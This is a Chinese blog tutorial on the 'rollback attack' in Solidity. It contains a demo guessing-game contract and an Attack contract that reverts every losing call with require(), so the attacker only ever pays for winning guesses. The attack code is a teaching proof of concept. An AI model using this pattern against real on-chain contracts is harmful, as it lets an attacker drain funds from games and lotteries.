区块链 智能合约安全 | 回滚攻击
视频教程在我主页简介和专栏里
目录:
智能合约安全
回滚攻击
总结
智能合约安全
回滚攻击
回滚攻击的本质是”耍赖” 举一个简单的例子,两个人玩石头剪刀布,输了的给对方10块钱,现在A输了,A说这把不算,重来
放在Solidity中,require()函数会检测其中的条件是否满足,如果不满足则回滚本次交易(或者说取消本次交易)
require()函数的用法有很多,比如你的智能合约是用来赚钱的 别人交易时会将eth发送到你的合约上 require()函数可以用来判断对方是否发送了eth 是否发送了足够的eth
又或者, 你有一个提现函数, 用来将合约中的eth提现到你自己的以太坊账户中 那么这个函数在调用时就要用require()检查是不是管理员发起的提现 如果不检查 那岂不是所有人都可以从你的合约里面提eth了吗
接下来再说耍赖是怎么一回事 我们先来看这样一段代码
contract Guess { function guess_number(uint8 number) public payable returns (bool) {require(msg.value == 1 ether); // 收取 1 eth 的参与费uint8 num1 = 86; // 这里应该是一个随机数, 但为了方便讲解设置成一个固定值if (number == num1) { // 如果猜对了address payable add = payable(msg.sender);add.transfer(10 ether);return true;}else {return false;}}function draw() public payable { // 用来往合约里直接存钱的函数, 方便测试}}
代码是一个猜数字游戏, 每次猜需要发送1eth 如果猜对了就会奖励 10 eth
与重入漏洞类似 如果发起交易的是个人 那么这段代码是没什么问题的 但如果发起交易的是另一个合约呢? 另一个合约可以根据该合约返回的是 true 还是 false,使用 require 去回滚交易(或者说取消交易), 来”耍赖”
接下来展示一下攻击代码
contract Attack { Guess guess;constructor(address guess_address) {guess = Guess(guess_address);}function attack(uint8 number) public {bool b = guess.guess_number{value:1 ether}(number);require(b == true, "aaa");}function draw() public payable { // 用来往合约里直接存钱的函数, 方便测试}fallback() external payable { }}
注意, 这里必须要有 fallback() 函数, 不然合约不能接收转来的 ether 这里的逻辑就是, 传入一个数字去猜数字, 如果猜错了, 对方返回false 那么近通过require函数去回滚交易
接下来就是测试 当部署好之后 向两个合约里都先存点 eth

然后先输入一个错误的数字, 调用攻击合约中的 attack 方法

如图可以看到抛出了我们猜错数字抛出的异常, 我们的 ether 也没有减少
那么输入正确的数字再次尝试

可以看到, 交易正常被确认, 我们也拿到了猜对数字的奖励
总结
在智能合约上去玩这些至少目前是不可能的, 首先区块链上无法生成真随机数, 伪随机数是完全可以被预测的, 而就算不去推演这个伪随机数, 也可以通过回滚攻击的方式去耍赖. 另外提一下, 如果目标合约不返回true, false这些, 也可以根据检查本合约的以太币是否增加来判断是否回滚交易.
视频教程在我主页简介和专栏里
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关
相关文章:
区块链 智能合约安全 | 回滚攻击
视频教程在我主页简介和专栏里 目录: 智能合约安全 回滚攻击 总结 智能合约安全 回滚攻击 回滚攻击的本质是”耍赖” 举一个简单的例子,两个人玩石头剪刀布,输了的给对方10块钱,现在A输了,A说这把不算,重来 放在Solidity中,require()函数会检测其中的条件是否满…...
【Go语言圣经】第六节:方法
第六章:方法 6.1 方法声明 在函数声明时,在其名字之前放上一个变量,这就是声明了变量对应类型的一个方法,相当于为这种类型定义了一个独占的方法。 下例为 Point 类型声明了计算两个点之间距离的方法: package mai…...
【JavaEE进阶】图书管理系统 - 壹
目录 🌲序言 🌴前端代码的引入 🎋约定前后端交互接口 🚩接口定义 🍃后端服务器代码实现 🚩登录接口 🚩图书列表接口 🎄前端代码实现 🚩登录页面 🚩…...
TensorFlow 简单的二分类神经网络的训练和应用流程
展示了一个简单的二分类神经网络的训练和应用流程。主要步骤包括: 1. 数据准备与预处理 2. 构建模型 3. 编译模型 4. 训练模型 5. 评估模型 6. 模型应用与部署 加载和应用已训练的模型 1. 数据准备与预处理 在本例中,数据准备是通过两个 Numpy 数…...
docker安装Redis:docker离线安装Redis、docker在线安装Redis、Redis镜像下载、Redis配置、Redis命令
一、镜像下载 1、在线下载 在一台能连外网的linux上执行docker镜像拉取命令 docker pull redis:7.4.0 2、离线包下载 两种方式: 方式一: -)在一台能连外网的linux上安装docker执行第一步的命令下载镜像 -)导出 # 导出镜像…...
Retrieval-Augmented Generation for Large Language Models: A Survey——(1)Overview
Retrieval-Augmented Generation for Large Language Models: A Survey——(1)Overview 文章目录 Retrieval-Augmented Generation for Large Language Models: A Survey——(1)Overview1. Introduction&Abstract1. LLM面临的问题2. RAG核心三要素3. RAG taxonomy 2. Overv…...
LabVIEW透镜多参数自动检测系统
在现代制造业中,提升产品质量检测的自动化水平是提高生产效率和准确性的关键。本文介绍了一个基于LabVIEW的透镜多参数自动检测系统,该系统能够在单一工位上完成透镜的多项质量参数检测,并实现透镜的自动搬运与分选,极大地提升了检…...
什么是Maxscript?为什么要学习Maxscript?
MAXScript是Autodesk 3ds Max的内置脚本语言,它是一种与3dsMax对话并使3dsMax执行某些操作的编程语言。它是一种脚本语言,这意味着您不需要编译代码即可运行。通过使用一系列基于文本的命令而不是使用UI操作,您可以完成许多使用UI操作无法完成的任务。 Maxscript是一种专有…...
Redis|前言
文章目录 什么是 Redis?Redis 主流功能与应用 什么是 Redis? Redis,Remote Dictionary Server(远程字典服务器)。Redis 是完全开源的,使用 ANSIC 语言编写,遵守 BSD 协议,是一个高性…...
128周二复盘(164)学习任天堂
1.设计相关 研究历史上某些武器数值,对一些设定进行参数修改。兼顾真实性,合理性,娱乐性。 学习宫本茂游戏思想,简单有趣-重玩性,风格化个性化-反拟真。对堆难度与内容的反思。 后续将学习岩田聪以及别的任天堂名人的…...
LeetCode:63. 不同路径 II
跟着carl学算法,本系列博客仅做个人记录,建议大家都去看carl本人的博客,写的真的很好的! 代码随想录 LeetCode:63. 不同路径 II 给定一个 m x n 的整数数组 grid。一个机器人初始位于 左上角(即 grid[0][0]…...
VUE之组件通信(一)
1、props 概述:props是使用频率最高的一种通信方式,常用与:父<——>子。 若 父传子:属性值是非函数。若 子传父:属性值是函数。 父组件: <template><div class"father">&l…...
ESP32-S3模组上跑通esp32-camera(41)
接前一篇文章:ESP32-S3模组上跑通esp32-camera(40) 一、OV5640初始化 2. 相机初始化及图像传感器配置 上一回继续对reset函数的后一段代码进行解析。为了便于理解和回顾,再次贴出reset函数源码,在components\esp32-camera\sensors\ov5640.c中,如下: static int reset…...
本地部署DeepSeek R1:打造专属私人AI助手指南
在当今人工智能蓬勃发展的浪潮中,DeepSeek R1模型的本地部署为用户带来了全新的体验。它不仅能够保障数据隐私,还具备与商业AI模型相媲美的出色性能。随着计算能力的不断提升以及开源AI社区的日益壮大,用户如今可以在本地运行高性能AI模型&am…...
Redis-布隆过滤器
文章目录 布隆过滤器的特点:实践布隆过滤器应用 布隆过滤器的特点: 就可以把布隆过滤器理解为一个set集合,我们可以通过add往里面添加元素,通过contains来判断是否包含某个元素。 布隆过滤器是一个很长的二进制向量和一系列随机映射函数。 可以用来检索…...
OpenCV 版本不兼容导致的问题
问题和解决方案 今天运行如下代码,发生了意外的错误,代码如下,其中输入的 frame 来自于 OpenCV 开启数据流的读取 """ cap cv2.VideoCapture(RTSP_URL) print("链接视频流完成") while True:ret, frame cap.rea…...
【视频+图文详解】HTML基础3-html常用标签
图文教程 html常用标签 常用标签 1. 文档结构 <!DOCTYPE html>:声明HTML文档类型。<html>:定义HTML文档的根元素。<head>:定义文档头部,包含元数据。<title>:设置网页标题,浏览…...
【B站保姆级视频教程:Jetson配置YOLOv11环境(五)Miniconda安装与配置】
Jetson配置YOLOv11环境(5)Miniconda安装与配置 文章目录 0. Anaconda vs Miniconda in Jetson1. 下载Miniconda32. 安装Miniconda33. 换源3.1 conda 换源3.2 pip 换源 4. 创建环境5. 设置默认启动环境 0. Anaconda vs Miniconda in Jetson Jetson 设备资…...
【PLL】杂散生成和调制
时钟生成 --》 数字系统 --》峰值抖动频率生成 --》无线系统 --》 频谱纯度、 周期信号的相位不确定性 随机抖动(random jitter, RJ)确定性抖动(deterministic jitter,DJ) 时域频域随机抖动积分相位噪声确定性抖动边带 杂散生成和…...
游戏引擎 Unity - Unity 启动(下载 Unity Editor、生成 Unity Personal Edition 许可证)
Unity Unity 首次发布于 2005 年,属于 Unity Technologies Unity 使用的开发技术有:C# Unity 的适用平台:PC、主机、移动设备、VR / AR、Web 等 Unity 的适用领域:开发中等画质中小型项目 Unity 适合初学者或需要快速上手的开…...
侯捷 C++ 课程学习笔记:深入理解 C++ 核心技术与实战应用
目录 引言 第一章:C 基础回顾 1.1 C 的历史与发展 1.2 C 的核心特性 1.3 C 的编译与执行 第二章:面向对象编程 2.1 类与对象 2.2 构造函数与析构函数 2.3 继承与多态 第三章:泛型编程与模板 3.1 函数模板 3.2 类模板 3.3 STL 容器…...
Java的Integer缓存池
Java的Integer缓冲池? Integer 缓存池主要为了提升性能和节省内存。根据实践发现大部分的数据操作都集中在值比较小的范围,因此缓存这些对象可以减少内存分配和垃圾回收的负担,提升性能。 在-128到 127范围内的 Integer 对象会被缓存和复用…...
【C++动态规划 离散化】1626. 无矛盾的最佳球队|2027
本文涉及知识点 C动态规划 离散化 LeetCode1626. 无矛盾的最佳球队 假设你是球队的经理。对于即将到来的锦标赛,你想组合一支总体得分最高的球队。球队的得分是球队中所有球员的分数 总和 。 然而,球队中的矛盾会限制球员的发挥,所以必须选…...
python 判断复杂包含
目录 python 判断复杂包含 a和b都是拍好序的: python 判断复杂包含 a[10,13,15] b[[9,11],[11,13],[13,16]] b的子项是区间,返回b中子区间包含a其中元素的子项 if __name__ __main__:a [10, 11, 15]b [[9, 11], [11, 13], [13, 16]]# 筛选出包含…...
Teleporters( Educational Codeforces Round 126 (Rated for Div. 2) )
Teleporters( Educational Codeforces Round 126 (Rated for Div. 2) ) There are n 1 n1 n1 teleporters on a straight line, located in points 0 0 0, a 1 a_1 a1, a 2 a_2 a2, a 3 a_3 a3, …, a n a_n an. It’s possible to tele…...
css-设置元素的溢出行为为可见overflow: visible;
1.前言 overflow 属性用于设置当元素的内容溢出其框时如何处理。 2. overflow overflow 属性的一些常见值: 1 visible:默认值。内容不会被剪裁,会溢出元素的框。 2 hidden:内容会被剪裁,不会显示溢出的部分。 3 sc…...
python-leetcode-从中序与后序遍历序列构造二叉树
106. 从中序与后序遍历序列构造二叉树 - 力扣(LeetCode) # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right r…...
绝对值线性化
函数中的绝对值线性化有多种方法,包括我之前的一篇博文. 前几天在小红书刷到一个帖子,一位网友提供了另外一种巧妙的方式,记录如下。 假如有一个绝对值表达式: y ∣ a x − b ∣ (1) y|ax-b|\tag{1} y∣ax−b∣(1) 令&#x…...
Java实战:图像浏览器
文章目录 1. 实战概述2. 知识准备3. 实现步骤3.1 创建Java项目3.2 创建图像浏览器类3.2.1 声明变量与常量3.2.2 创建构造方法3.2.3 创建初始化界面方法3.2.4 创建处理事件方法3.2.5 创建主方法3.2.6 查看完整代码 3.3 运行程序,查看结果 4. 实战小结5. 扩展练习 1. …...
SARIMA介绍
SARIMA模型,即季节性自回归积分移动平均模型(Seasonal Autoregressive Integrated Moving Average Model),是一种用于处理和预测具有明显季节性变化的时间序列数据的统计模型。它是ARIMA模型的一种扩展,通过引入额外的…...
